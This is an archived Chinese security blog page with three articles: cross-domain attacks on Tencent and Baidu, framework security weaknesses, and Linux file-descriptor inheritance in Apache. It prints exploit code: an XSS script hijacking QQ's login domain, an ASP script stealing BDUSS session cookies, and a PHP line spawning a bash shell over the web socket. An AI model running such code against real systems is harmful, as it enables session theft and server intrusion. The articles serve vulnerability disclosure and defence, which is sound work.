Web 開發(fā)框架安全雜談淺談跨域WEB 攻擊Write by admin in 未分類 at 2011-04-08 17:03:53淺談跨域web 攻擊EMail: rayh4c#80sec.comS

Web 開發(fā)框架安全雜談

淺談跨域WEB 攻擊

Write by admin in 未分類 at 2011-04-08 17:03:53

淺談跨域web 攻擊

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-04-07

From: http://www.80sec.com

0×00 前言

一直想說說跨域web 攻擊這一概念，先前積累了一些案例和經驗，所以想寫這么一篇文檔讓大家了解一下跨域web 攻擊，跨域web 攻擊指的是利用網站跨域安全設置缺陷進行的web 攻擊，有別于傳統的攻擊，跨域web 攻擊可以從網站某個不重要的業(yè)務直接攻擊和影響核心業(yè)務。

傳統的安全思維教會我們按資產、功能等需求劃分核心業(yè)務，優(yōu)先保護核心業(yè)務等，非核心業(yè)務的安全等級一般沒有核心業(yè)務高，給我們錯覺是非核心業(yè)務受到攻擊的話，所造成損失不會很大，也不會影響到核心業(yè)務，所以讓安全工作者了解跨域web 攻擊這一概念還是非常有意義的。

0×01 基于ajax 跨域設置的跨域攻擊

使用ajax 技術讓人頭痛的地方就是如何跨域，受同源策略所限不同域名包括子域名在內是無法進行AJAX 請求的，隨后衍生出一類技術可以通過設置document.domain 實現跨域。如a.test.com 和b.test.com, 當兩個網站通過javascript 操作DOM 接口 document.domain=’test.com’ 將網站的域設置為

test.com 后，兩個網站就處于同一個域內，可以進行各種跨域操作。在開發(fā)人員方面這是很方便的跨域技術，但是在攻擊者眼中這簡直就是一個大后門，黑客只需要找到*.test.com下任意一個XSS 漏洞，在任意一個子域名里的網頁都可以跨域攻擊a.test.com 和b.test.com 。

ajax 跨域設置另外一個重點是這種跨域設置還會影響到窗口引用關系的同源策略，如騰訊微博網站進行了document.domain=’qq.com’的跨域設置，我們可以針對騰訊微博做個實驗，在自己的騰訊微博

javascript:window.opener.eval('alert(/xss/)');

最后得出結論，由于騰訊微博網站進行了跨域設置，所以*.qq.com下的任意一個和騰訊微博有窗口引用關系的網頁，都可以往騰訊微博跨域注入腳本運行。

案例：騰訊單點登錄系統跨域劫持漏洞

QQ 的客戶端安裝了一個快速登錄插件，在客戶端已登錄且QQ.exe 在運行的狀態(tài)下, 這個快速登錄插件可以自動生成一個和QQ 號對應的密鑰，在IE 瀏覽器訪問QQ 網站的各個應用時通過這個密鑰可以免密碼一鍵登錄網站。我經過分析發(fā)現，這個快速登錄插件最大的安全措施是生成密鑰的關鍵函數設置了一個信任域xui.ptlogin2.qq.com ，也就是在xui.ptlogin2.qq.com 的網頁中我們才可以使用這個插件生成密鑰。快速登錄插件的這個信任域安全措施本意是阻止其他非安全域的網頁調用這個插件，而開發(fā)人員卻在xui.ptlogin2.qq.com 的一個網頁寫入了document.domain=’qq.com’的跨域設置，結果導致這個信任域形同虛設。通過QQ 任意分站的一個XSS 漏洞我們就能攻擊xui.ptlogin2.qq.com ，首先給分站的網頁進行跨域設置，然后通過框架頁嵌入xui.ptlogin2.qq.com 的跨域設置頁，由于兩個網頁都設置了同一個域，同源策略生效，那么就可以跨域操作框架注入腳本到xui.ptlogin2.qq.com 的域內運行。部分攻擊代碼如下：

xss.js 的內容：

window.name ='......' // xui.ptlogin2.qq.com域內運行的攻擊腳本省略 document.domain='qq.com'; //跨域設置

function exploit(){crossQQdomain.location =

"javascript:eval(window.parent.name);void(0)";} //在id 為

crossQQdomain 的框架中通過偽協議注入腳本

document.write(""); 通過window.name 內設置的是調用快速登錄插件攻擊腳本代碼，被攻擊者訪問了我們的跨站鏈接后，我們就可以獲取到QQ 的一鍵登錄密鑰，后果不可想象。

0×02 基于cookie 安全的跨域攻擊

以前關于csrf 的文檔提過cookie 的“同源策略”，實際上這個只是含糊的說明了cookie 的domain 字段的作用。cookie 的domain 字段和瀏覽器約定俗成，如一般cookie 的domain 字段被默認設置為

www.test.com, 二級域名*.test.com下就無法訪問這個cookie ，所以很多網站就將cookie 的domain 字段設置為.test.com 解決二級域名的cookie 讀取問題。

案例：第三方分站淪陷導致的百度cookie 安全問題

在百度的passport 登錄以后，百度會給客戶端設置一個名為BDUSS 的cookie 值，這個值的domain 字段是.baidu.com ，如下：

set-cookie:

BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

這個cookie 是百度眾多的二級域名共享的身份認證cookie ，在某個巧合下我發(fā)現了百度第三方網站

<

Dim sp,i,rf

sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通過服務器變量獲取HTTP 請求頭中的COOKIE 值

rf = Request.ServerVariables("HTTP_REFERER")

For i=0 to UBound(sp)

if instr(sp(i),"BDUSS")>0 then

txtfile=server.mappath("log.txt")

set fso = CreateObject("Scripting.FileSystemObject")

set MyFile = fso.opentextfile(txtfile,8,True,0)

MyFile.Writeline(date()&" "&time()& " "& rf)

MyFile.Writeline(sp(i)& Chr(13))

MyFile.Close

set fso = nothing

Response.cookies("BDUSS")="delete"

Response.cookies("BDUSS").Path="/"

Response.cookies("BDUSS").Expires=(now()-1)

Response.cookies("BDUSS").Domain = ".baidu.com"

end if

next

response.redirect

"http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302轉跳到真實的圖片

>

將http://zhishang.baidu.com/c.asp#.gif（#是url 注釋）這樣的鏈接當成圖片發(fā)布在百度貼吧、百度HI 等的帖子或日志中，被攻擊者如果訪問了嵌入了類似圖片鏈接的網頁，瀏覽器將會向

zhishang.baidu.com 的腳本發(fā)起一個GET 請求，這個請求會帶上BDUSS 值的cookie ，服務端的腳本獲取這個cookie 后，攻擊者就可以在另一方利用這個cookie 偽造被攻擊者的身份使用百度相關的服務。 0×03 跨域web 攻擊的思考

跨域web 攻擊還有很多種，本文只提到了危害比較大的兩種，案例中所提到的漏洞也已經修復。本文沒有再提到這類攻擊的防御措施，因為這類web 攻擊已經有別于傳統的單點攻擊，實際上國內外各大網站和web 程序都存在類似的安全問題，這類安全問題不是一個單獨的個例，而是從網站架構開始就需要考慮的安全問題。

本文的目的并不是交大家如何利用跨域web 攻擊，而是希望大家通過這類安全問題思考更多，讓大家意識到現實的網絡并沒有絕對的安全，我們面臨的web 安全問題依然嚴峻，應用和安全是一個對立面，我們需要在應用和安全中間找到一個平衡點。

0×04 參考

騰訊單點登錄系統跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118

百度認證機制問題分析與利用 http://www.wooyun.org/bugs/wooyun-2010-0253

Comments (0)

本站內容均為原創(chuàng)，轉載請務必保留署名與鏈接！

淺談跨域WEB 攻擊:http://www.80sec.com/cross_domain_attack.html

Linux 系統文件描述符繼承帶來的危害

淺談跨域WEB 攻擊 ?

Web 開發(fā)框架安全雜談

Write by admin in 未分類 at 2011-03-15 22:21:03

Web 開發(fā)框架安全雜談

EMail: wofeiwo#80sec.com

Site: http://www.80sec.com

Date: 2011-03-14

From: http://www.80sec.com/

[ 目錄 ]

0×00 起

0×01 承

0×02 轉

0×03 合

0×00起

最近框架漏洞頻發(fā)，struts 任意代碼執(zhí)行、Django csrf token防御繞過、Cakephp 代碼執(zhí)行等等各大語言編程框架都相繼暴出高危漏洞，這說明對于編程框架的安全問題已經逐漸走入安全工作者的視線。 Web 開發(fā)框架就相當于web 應用程序的操作系統，他決定了一個應用程序的模型結構和編程風格?？蚣苌铣隽寺┒?，就如同當年一個rpc 遠程EXP 就走遍全世界windows 的時代。

然而挖掘深層原因，從應用的模型和架構上考慮問題，其實這些框架漏洞都不只是一種偶然，而是一種必然。正是因為框架的模型結構，正因為他們的這種編程風格，才極大的增加了漏洞產生的可能性。

0×01承

現代編程框架的幾個大特點：

1、將程序代碼分為不同層次，業(yè)務開發(fā)、前端開發(fā)、數據庫開發(fā)人員各司其職，框架根據需要組裝代碼、調度執(zhí)行

2、統一化自動化邏輯處理

3、常見功能的代碼庫封裝并高度重用

4、腳手架功能，常見代碼組件自動組裝生成。如默認用戶系統、默認后臺。

然而就是以上幾點廣受好評的功能導致了安全薄弱點的產生。

1、代碼調度

讓我們來先回顧一下WEB 應用框架所最常見的MVC 模型。

用戶發(fā)送一個HTTP 請求過來，框架的入口點（一般是route ，路由）分析用戶請求的url 。然后依照url 中蘊含的信息分析出用戶所要訪問的controller 、action ，從而分發(fā)給相應的controller 文件中的action 函數，執(zhí)行之；隨后controller 再將model 中的數據結合用戶輸入數據依照view 層中的代碼邏輯填充模板，最后view 、controller 執(zhí)行完畢，返回用戶最后的HTML 。

整個生命周期是這樣的：

用戶請求url->route分發(fā)->controller接管處理用戶輸入及業(yè)務邏輯->view層代碼執(zhí)行->controller返回展現結果

從上面的流程發(fā)現了什么？

MVC 模型就是一個將程序員分散在M 、C 、V 中的代碼尋找并整合在一起執(zhí)行的過程。那這必然就要牽涉到一個代碼調度執(zhí)行的問題。這里route 就是一個非常明顯的例子。一個框架這么多代碼文件，route 每一次調用controller ，都需要根據用戶輸入的url 進行匹配并執(zhí)行用戶指定的函數。這里就是一個薄弱點，一個必然繞不過去的問題。

對應到現實的例子，一個非常明顯的例子就是：struts2框架的動態(tài)方法調用（DMI ）

當你訪問www.test.com/a!test.action時，struts 會根據你的url 幫你映射到名為a 的controller 中名為test 的Action 方法。而通過修改test 的值，我們可以訪問a 這個類中的所有方法。如果恰好這個方法中含有敏感的信息，攻擊者就獲得了一切。結合其他技巧，攻擊者能夠做到的更多。但這就是框架的功能，框架總是要依靠URL 中的內容去匹配執(zhí)行程序代碼。

那么對于PHP 的框架呢？仔細想一下，如果PHP 需要做分散在不同文件中的代碼調度執(zhí)行，唯一能夠實現的方式就是使用require/include函數包含文件。文件名來源于哪里？來源于用戶輸入的URL 。實際上目前市面上的大部分PHP 框架也都是這么實現的，Yii ，FleaPHP 等等。如果對用戶的輸入沒有做好驗證，就很容易導致一個本地文件包含漏洞。筆者曾經就在某不知名框架中發(fā)現過這樣的漏洞，在不涉及應用程序邏輯的情況下，直接獲取了系統權限。

2、統一化邏輯處理

框架的一大功能就是，通過統一的入口點，可以做一些統一的安全防護、邏輯控制。在軟件工程學里的說法，這個叫“面向切面編程”（AOP ）。

然而我們并不是說這樣的統一控制模式不好，但對于這樣的統一控制，如果框架設計或實現的不好，就能直接淪陷所有跑在之上的應用。

這里有一個典型的統一處理導致安全問題的極端的例子：struts2任意代碼執(zhí)行漏洞。

漏洞起因是struts2希望能讓用戶提交的值能夠直接注入到程序中的數據對象，而無需手動類型轉換并給內部變量賦值等操作。為此struts2專門設計了一個叫做ognl 的表達式。通過它，用戶提交的參數就能被自動解析為程序上下文中所存在的變量。

想想為什么能夠自動解析？原因是用戶提交的參數被當作自定義語言的代碼被解析執(zhí)行了！只是你并沒有意識到這一點而已。于是有心人研究了一下，發(fā)現ognl 表達式除了參數值注入，還能通過它直接調用Java 自身的API 。于是，一個巨大的通殺0day 就這么誕生了。

回想一下，如果struts2沒有這么“智能”的自動化、統一化用戶輸入處理機制，也就不會出現上述的大漏洞了。

前段時間爆出的Django 的csrf token繞過漏洞也是在統一安全處理的設計上出的問題。深究一下，為什么會出現這樣的繞過問題？原因就是，框架必須要對所有用戶的提交在真正的應用執(zhí)行前做統一的csrf 防范，于是django 框架產生的token 是保存在cookie 中的（老版本和sessionid 有關，這個也是保存在cookie 中）。對于用戶提交的POST 請求，表單中增加一項token ，框架在獲得token 值后，與cookie 中的正確token 值比對，如果相等就通過。然而對于ajax 的請求，框架設計者卻想當然的認為只要判斷X-Requested-With 這個Ajax 特有的HTTP 頭即可，根本無需運算比對token 。所以，框架對于http 頭中包含有X-Requested-With 域的請求放行。通常情況下，只有ajax 的請求瀏覽器才會帶上此自定義域，且瀏覽器一般無法自定義此字段。

結果被人發(fā)現可以利用flash 307跳轉可以偽造自定義http 頭，結果就繞過了此防范，導致統一的csrf 防護毫無作用。如果應用程序完全依靠框架的統一安全實現，就會受到安全漏洞的威脅。

其實Django 也很無奈，在它的架構設計中，它通過這個自定義頭判斷ajax 思路上也沒有什么問題?？上г谀壳斑B黃瓜都不可靠的年代，就沒什么是可靠的了。

3、常見代碼高度封裝

代碼的高度封裝，對外只暴露幾個接口，一行說明書。這必然造成一種現象：普通程序員就像是在搭建一個模型，只要按照說明書組建積木就可以了，不需要知曉其原理，不需要知道為什么要這樣做。于是這時候就安全問題就產生了。

舉一個同樣在用戶輸入參數自動化處理方面的例子：在PHP 的ZendFramework 中，獲取用戶輸入是調用getParam 方法，而不是常見PHP 程序中分開來的$_GET、$_POST等變量。那么，如果同時在GET 、POST 、COOKIE 、HEADER 中提交相同名字的參數，getParam 到底獲取的是哪一個的值？先后順序是什么？如果前后可以覆蓋，會不會影響到我們自定義的一些統一安全措施？這是一個值得檢查的安全薄弱點。

再舉一個struts2的例子：對于常見的文件上傳場景，struts 提供了一個FileUploadInterceptor 攔截器，直接可以在應用邏輯運行前對用戶上傳文件進行檢查。然而在筆者的代碼審計經驗中，常常發(fā)現程序員只對maximumSize （文件大小）和allowedTypes （文件mime-type ）進行限制，卻放過了最關鍵的allowedExtensions （擴展名）限制。為什么？筆者檢查了一下官方文檔，發(fā)現在struts2.2之前的文檔，都沒有給出allowExtensions 的說明?；蛟Sstruts 開發(fā)者想當然的認為allowedTypes 就可以限制上傳文件的類型，殊不知只要偽造HTTP 包中的mime-type 字段，就可以直接上傳任意文件。于是開發(fā)者也就依照官方的例子，只限制了allowdTypes ，從而導致安全問題的產生。

高度代碼封裝的確解決了“重復造輪子”的問題，但是它解決不了程序員的安全意識和懶惰的習慣。或許它設計的很好，或許它實現的也很好，但是只要它組裝的不好，就有可能造成問題。

4、腳手架功能

Django 的腳手架功能是非常好用的。它默認自帶了一些app ，只要通過幾個簡單的命令或配置，就可以在不敲一句代碼的情況下搭起一個普通網站的腳手架，自帶了用戶注冊、登陸等系統，甚至還有一個默認的管理員后臺。

然而正如上文所說，普通程序員并不了解框架真正做了些什么。他很有可能通過腳手架生成網站后，卻直接忘卻了程序自帶的內容沒有去除。當這樣的網站上線后。我們發(fā)現他是Django 所寫，那我們就可以直接嘗試在url 后加入/admin/路徑訪問，直接猜解后臺管理員密碼。此外如果框架自帶的默認后臺出現安全漏洞，甚至可能直接繞過進入后臺。

一旦使用框架默認的組件，就得考慮到框架所帶來的默認功能的安全問題。其實這問題可以擴大，tomcat 自帶的后臺、fck 編輯器自帶的上傳組件，都可以說屬于此類問題。

0×02轉

框架的應用是軟件開發(fā)的必然趨勢，本文的目的也不在于抵制框架的使用。但對于框架應用后所帶來的新安全問題，安全從業(yè)人員需要提高重視，緊跟技術發(fā)展，更新知識。對于此，我們能夠做點什么？

1、 對于常見的應用場景，如文件操作、命令行操作、數據庫操作、用戶權限及認證等，我們需要了解框架的實現，給出相應的安全編碼范例。

框架文檔中給出的例子并不一定就是最好的。安全工作者必須對程序員進行安全意識的培訓，讓他知道如何利用框架的API 去安全的組合出常用功能。

2、 對于應用漏洞挖掘，我們需要擴充字典。

框架的封裝，可能引入更多的危險API 或危險特性。在代碼審計的過程中，需要將這些內容加入到危險詞字典中。

3、 對于應用漏洞挖掘，由于框架結構所帶入的新的安全薄弱點，需要專門對框架的設計及實現做檢查，是否存在問題。

例如PHP 框架中代碼調度執(zhí)行的實現、文件上傳統一檢查的實現、封裝的變量獲取形式是否可靠等。本文中提到的安全薄弱點只是一個例子，更多的還需要大家的共同挖掘。

0×03合

實際上對于一個應用的安全審計歸根到底就是個思路問題。筆者一直認為，了解程序員的思路，了解框架的思路，了解應用的思路，這些才是安全審計中最花時間的。而實際上真槍實彈看代碼的漏洞挖掘卻只占用很小的一部分時間。

只有將這些思路融會貫通，在腦中將審計對象進行抽象建模，了解應用需要保護什么，弱點在哪里，才能更為有效和有針對性的進行代碼審計、安全防護。

最后，非常感謝劍心及空虛浪子心之前的研究成果和意見，對本文的幫助極大

Comments (0)

本站內容均為原創(chuàng)，轉載請務必保留署名與鏈接！

Web 開發(fā)框架安全雜談:http://www.80sec.com/security-about-framework.html

WooYun-烏云正式上線

Web 開發(fā)框架安全雜談 ?

Linux 系統文件描述符繼承帶來的危害

Write by admin in 未分類 at 2010-11-23 19:02:26

Linux 系統文件描述符繼承帶來的危害

EMail: wofeiwo#80sec.com

Site: http://www.80sec.com

Date: 2010-11-20

[ 目錄 ]

0×00 背景

0×01 POC

0×02 深入利用

0×03 解決方案及后話

0×00 前言

在初學linux 編程的時候，都會知道這樣一個概念：當你用fork 建立一個子進程，父進程的所有內容會被“完完整整”的復制到子進程中。子進程是父進程的一個clone 體，除了pid 不同，其余一切相同。

再試想一下這樣的場景：在Webserver 中，首先會使用root 權限啟動，以此打開root 權限才能打開的端口、日志等文件。然后降權到普通用戶，fork 出一些worker 進程，這些進程中再進行解析腳本、寫日志、輸出結果等進一步操作。

然而這里，仔細思考一下，就會發(fā)現隱含一個安全問題：子進程中既然繼承了父進程的FD ，那么子進程中運行的PHP 或其他腳本只需要繼續(xù)操作這些FD ，就能夠使用普通權限“越權”操作root 用戶才能操作的文件。

0×01 POC

為了驗證這個想法，我們做了一個POC 。測試環(huán)境apache2.2.4 mod_php 5.2.14

首先我們查看任意一個apache 的worker 進程的fd:

[root@testplat ~]# pidof httpd

11117 21009 10472

[root@testplat ~]# cd /proc/21009/fd

[root@testplat fd]# ls -alh

dr-x------ 2 root root 0 11?? 11 16:44 .

dr-xr-xr-x 4 daemon daemon 0 11?? 11 16:42 ..

lr-x------ 1 root root 64 11?? 11 16:44 0 -> /dev/null

l-wx------ 1 root root 64 11?? 11 16:44 1 -> /dev/null

l-wx------ 1 root root 64 11?? 11 16:44 2 ->

/usr/local/apache2/logs/error_log

lrwx------ 1 root root 64 11?? 11 16:44 3 -> socket:[155615]

lr-x------ 1 root root 64 11?? 11 16:44 4 -> pipe:[155625]

l-wx------ 1 root root 64 11?? 11 16:44 5 -> pipe:[155625]

l-wx------ 1 root root 64 11?? 11 16:44 6 ->

/usr/local/apache2/logs/error_log

l-wx------ 1 root root 64 11?? 11 16:44 7 ->

/usr/local/apache2/logs/access_log

lr-x------ 1 root root 64 11?? 11 16:44 8 -> eventpoll:[166489]

[root@testplat fd]# ps aux | grep httpd

root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start

daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00

/usr/local/apache2/bin/httpd -k start

daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00

/usr/local/apache2/bin/httpd -k start

root 31101 0.0 0.0 51208 456 pts/0 R 14:07 0:00 grep httpd

如上所示，果然在apache 的子進程中保存了日志的句柄，apache 自身是daemon 權限，而這兩個句柄則是root 身份打開的。我們試試利用php fork出來一個進程是否能夠繼續(xù)“越權”寫入此句柄。 &6");?>

訪問一下，看看是不是的確將12345寫入到了root 的errorlog 中。

[root@testplat htdocs]# tail ../logs/error_log

[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers

[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers

12345

[root@testplat htdocs]# ls -alh ../logs/error_log

-rw-r--r-- 1 root root 34M 11?? 15 14:54 ../logs/error_log

很好，寫進去了。完美的證實了我們的想法。既然能夠只用一個低權限的webshell 就能讀寫web 日志，那么以后所有的Web 日志將不再有可靠性，任何信息都能加以偽造。當然偽造或刪改日志不會如此簡單，還有一些限制需要一定步驟，有心人繼續(xù)研究吧。

0×02 深入利用

換一種思路，既然文件可以讀寫，那么webserver 的80端口socket 是否也能加以利用呢？linux 系統所有都是文件，既然都是FD ，肯定也能適用。首先找一下我們連接的FD 號，我這里測試時寫死為9，因為肯定是第一個連接：

system("python -c 'import pty;pty.spawn("/bin/bash")' 1>&9 0>&9 2>&9 ;" );

?>

接著我們用nc 訪問一下我們的腳本：

C:UsersGaRY>nc testplat 80

GET /shell.php HTTP/1.0

bash: /root/.bashrc: 權限不夠

bash-3.00$ id

id

uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp) bash-3.00$ exit

exit

exit

HTTP/1.1 200 OK

Date: Mon, 15 Nov 2010 07:16:25 GMT

Server: Apache/2.2.4 (Unix) PHP/5.2.14

X-Powered-By: PHP/5.2.14

Content-Length: 0

Connection: close

Content-Type: text/html

。 可見成功復用了我們連接服務器的socket ，直接nc 提交一個GET 請求之后就返回了一個交互式的shell 。這一切只需要一個簡單的webshell 即可完成

利用80端口的socket 復用，我們繼續(xù)下去可以做穿墻等一系列更為猥瑣的事情。

0×03 解決方案及后話

通過上文的分析，我們了解到，利用linux 特性FD 的繼承，將會導致非常嚴重的越權問題。這本身就可以算作是一種類型的安全漏洞，不僅僅是apache ，不僅僅是webserver ，可能其他的網絡應用都會存在類似的漏洞。

實際上Linux 系統自身在設計時也考慮到了這一類安全問題。系統給出的解決方案是：close_on_exec。當父進程打開文件時，只需要應用程序設置FD_CLOSEXEC標志位，則當fork 后exec 其他程序的時候，內核自動會將其繼承的父進程FD 關閉。

這樣就解決了以上說明的問題，因為當你system 其他進程時，所有的fd 將不再繼承，則無法再利用。而你作為較低權限的進程，也無法自己打開這些文件，所有操作都會報告權限不足。

在撰寫此文時，發(fā)現Apache 已經意識到了此安全問題，并在最近的版本中修復了，對所有打開的FD 都